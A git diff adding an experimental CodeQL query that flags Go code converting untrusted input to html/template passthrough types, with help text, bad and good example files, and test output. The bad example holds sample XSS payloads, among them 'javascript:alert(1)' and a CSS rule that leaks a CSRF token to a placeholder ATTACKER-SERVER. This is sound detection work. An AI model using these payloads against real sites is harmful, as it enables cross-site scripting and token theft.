diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp new file mode 100755 index 00000000000..a842a685f23 --- /dev/null +++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp @@ -0,0 +1,28 @@ + + + +

+ In Go, the html/template package has a few special types + (HTML, HTMLAttr, JS, JSStr, CSS, + Srcset, and URL) + that allow values to be rendered as-is in the template, avoiding the escaping that all the other strings go + through. +

+

Using them on user-provided values will result in an opportunity for XSS.

+
+ +

+ Make sure to never use those types on untrusted content. +

+
+ +

+ In the first example you can see the special types and how they are used in a template: +

+ +

+ To avoid XSS, all user input should be a normal string type. +

+ +
+
diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql new file mode 100755 index 00000000000..81c2663a3b1 --- /dev/null +++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql @@ -0,0 +1,172 @@ +/** + * @name HTML template escaping passthrough + * @description If a user-provided value is converted to a special type that avoids escaping when fed into a HTML + * template, it may result in XSS. + * @kind path-problem + * @problem.severity warning + * @id go/html-template-escaping-passthrough + * @tags security + * external/cwe/cwe-79 + */ + +import go +import DataFlow::PathGraph + +/** + * Holds if the provided `untrusted` node flows into a conversion to a PassthroughType. + * The `targetType` parameter gets populated with the name of the PassthroughType, + * and `conversionSink` gets populated with the node where the conversion happens. + */ +predicate flowsFromUntrustedToConversion( + DataFlow::Node untrusted, PassthroughTypeName targetType, DataFlow::Node conversionSink +) { + exists(FlowConfFromUntrustedToPassthroughTypeConversion cfg, DataFlow::Node source | + cfg.hasFlow(source, conversionSink) and + source = untrusted and + targetType = cfg.getDstTypeName() + ) +} + +/** + * Provides the names of the types that will not be escaped when passed to + * a `html/template` template. + */ +class PassthroughTypeName extends string { + PassthroughTypeName() { this = ["HTML", "HTMLAttr", "JS", "JSStr", "CSS", "Srcset", "URL"] } +} + +/** + * A taint-tracking configuration for reasoning about when an UntrustedFlowSource + * is converted into a special "passthrough" type which will not be escaped by the template generator; + * this allows the injection of arbitrary content (html, css, js) into the generated + * output of the templates. + */ +class FlowConfFromUntrustedToPassthroughTypeConversion extends TaintTracking::Configuration { + PassthroughTypeName dstTypeName; + + FlowConfFromUntrustedToPassthroughTypeConversion() { + this = "UntrustedToConversion" + dstTypeName + } + + /** + * Gets the name of conversion's destination type. + */ + PassthroughTypeName getDstTypeName() { result = dstTypeName } + + override predicate isSource(DataFlow::Node source) { source instanceof UntrustedFlowSource } + + private predicate isSinkToPassthroughType(DataFlow::TypeCastNode sink, PassthroughTypeName name) { + exists(Type typ | + typ = sink.getResultType() and + typ.getUnderlyingType*().hasQualifiedName("html/template", name) + ) + } + + override predicate isSink(DataFlow::Node sink) { isSinkToPassthroughType(sink, dstTypeName) } +} + +/** + * Holds if the provided `conversion` node flows into the provided `execSink`. + */ +predicate flowsFromConversionToExec( + DataFlow::Node conversion, PassthroughTypeName targetType, DataFlow::Node execSink +) { + exists( + FlowConfPassthroughTypeConversionToTemplateExecutionCall cfg, DataFlow::Node source, + DataFlow::Node execSinkLocal + | + cfg.hasFlow(source, execSinkLocal) and + source = conversion and + execSink = execSinkLocal and + targetType = cfg.getDstTypeName() + ) +} + +/** + * A taint-tracking configuration for reasoning about when the result of a conversion + * to a PassthroughType flows to a template execution call. + */ +class FlowConfPassthroughTypeConversionToTemplateExecutionCall extends TaintTracking::Configuration { + PassthroughTypeName dstTypeName; + + FlowConfPassthroughTypeConversionToTemplateExecutionCall() { + this = "ConversionToExec" + dstTypeName + } + + /** + * Gets the name of conversion's destination type. + */ + PassthroughTypeName getDstTypeName() { result = dstTypeName } + + override predicate isSource(DataFlow::Node source) { + isSourceConversionToPassthroughType(source, _) + } + + private predicate isSourceConversionToPassthroughType( + DataFlow::TypeCastNode source, PassthroughTypeName name + ) { + exists(Type typ | + typ = source.getResultType() and + typ.getUnderlyingType*().hasQualifiedName("html/template", name) + ) + } + + override predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) } +} + +/** + * Holds if the sink is a data value argument of a template execution call. + */ +predicate isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) { + exists(Method fn, string methodName | + fn.hasQualifiedName("html/template", "Template", methodName) and + call = fn.getACall() + | + methodName = "Execute" and sink = call.getArgument(1) + or + methodName = "ExecuteTemplate" and sink = call.getArgument(2) + ) +} + +/** + * A taint-tracking configuration for reasoning about when an UntrustedFlowSource + * flows into a template executor call. + */ +class FlowConfFromUntrustedToTemplateExecutionCall extends TaintTracking::Configuration { + FlowConfFromUntrustedToTemplateExecutionCall() { + this = "FlowConfFromUntrustedToTemplateExecutionCall" + } + + override predicate isSource(DataFlow::Node source) { source instanceof UntrustedFlowSource } + + override predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) } + + override predicate isSanitizer(DataFlow::Node sanitizer) { + sanitizer instanceof SharedXss::Sanitizer or sanitizer.getType() instanceof NumericType + } +} + +/** + * Holds if the provided `untrusted` node flows into the provided `execSink`. + */ +predicate flowsFromUntrustedToExec(DataFlow::PathNode untrusted, DataFlow::PathNode execSink) { + exists(FlowConfFromUntrustedToTemplateExecutionCall cfg | cfg.hasFlowPath(untrusted, execSink)) +} + +from + DataFlow::PathNode untrustedSource, DataFlow::PathNode templateExecCall, + PassthroughTypeName targetTypeName, DataFlow::PathNode conversion +where + // A = untrusted remote flow source + // B = conversion to PassthroughType + // C = template execution call + // Flows: + // A -> B + flowsFromUntrustedToConversion(untrustedSource.getNode(), targetTypeName, conversion.getNode()) and + // B -> C + flowsFromConversionToExec(conversion.getNode(), targetTypeName, templateExecCall.getNode()) and + // A -> C + flowsFromUntrustedToExec(untrustedSource, templateExecCall) +select templateExecCall.getNode(), untrustedSource, templateExecCall, + "Data from an $@ will not be auto-escaped because it was $@ to template." + targetTypeName, + untrustedSource.getNode(), "untrusted source", conversion.getNode(), "converted" diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go new file mode 100755 index 00000000000..a23dfa153de --- /dev/null +++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go @@ -0,0 +1,70 @@ +package main + +import ( + "html/template" + "os" +) + +func main() {} +func source(s string) string { + return s +} + +type HTMLAlias = template.HTML + +func checkError(err error) { + if err != nil { + panic(err) + } +} + +// bad is an example of a bad implementation +func bad() { + tmpl, _ := template.New("test").Parse(`Hi {{.}}\n`) + tmplTag, _ := template.New("test").Parse(`Hi \n`) + tmplScript, _ := template.New("test").Parse(``) + tmplSrcset, _ := template.New("test").Parse(``) + + { + { + var a = template.HTML(source(`link`)) + checkError(tmpl.Execute(os.Stdout, a)) + } + { + { + var a template.HTML + a = template.HTML(source(`link`)) + checkError(tmpl.Execute(os.Stdout, a)) + } + { + var a HTMLAlias + a = HTMLAlias(source(`link`)) + checkError(tmpl.Execute(os.Stdout, a)) + } + } + } + { + var c = template.HTMLAttr(source(`href="https://example.com"`)) + checkError(tmplTag.Execute(os.Stdout, c)) + } + { + var d = template.JS(source("alert({hello: 'world'})")) + checkError(tmplScript.Execute(os.Stdout, d)) + } + { + var e = template.JSStr(source("setTimeout('alert()')")) + checkError(tmplScript.Execute(os.Stdout, e)) + } + { + var b = template.CSS(source("input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } ")) + checkError(tmpl.Execute(os.Stdout, b)) + } + { + var f = template.Srcset(source(`evil.jpg 320w`)) + checkError(tmplSrcset.Execute(os.Stdout, f)) + } + { + var g = template.URL(source("javascript:alert(1)")) + checkError(tmpl.Execute(os.Stdout, g)) + } +} diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go new file mode 100755 index 00000000000..3c0a8ad4eb4 --- /dev/null +++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go @@ -0,0 +1,15 @@ +package main + +import ( + "html/template" + "os" +) + +// good is an example of a good implementation +func good() { + tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`) + { // This will be escaped: + var escaped = source(`link`) + checkError(tmpl.Execute(os.Stdout, escaped)) + } +} diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected new file mode 100644 index 00000000000..bc920fc54b6 --- /dev/null +++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected @@ -0,0 +1,306 @@ +edges +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | +| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | +| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | +| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion | +| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | +| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion | +| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | +| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion | +| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | +| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion | +| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | +| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion | +| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | +| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion | +| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | +| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion | +| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | +| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion | +| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:74:17:74:31 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:75:38:75:44 | escaped | +| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:81:16:81:33 | type conversion | +| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:83:38:83:40 | src | +| HTMLTemplateEscapingPassthrough.go:88:10:88:24 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion | +| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | +| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | +| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | +| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | +| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | +| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | +| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | +nodes +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string | semmle.label | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr | +| 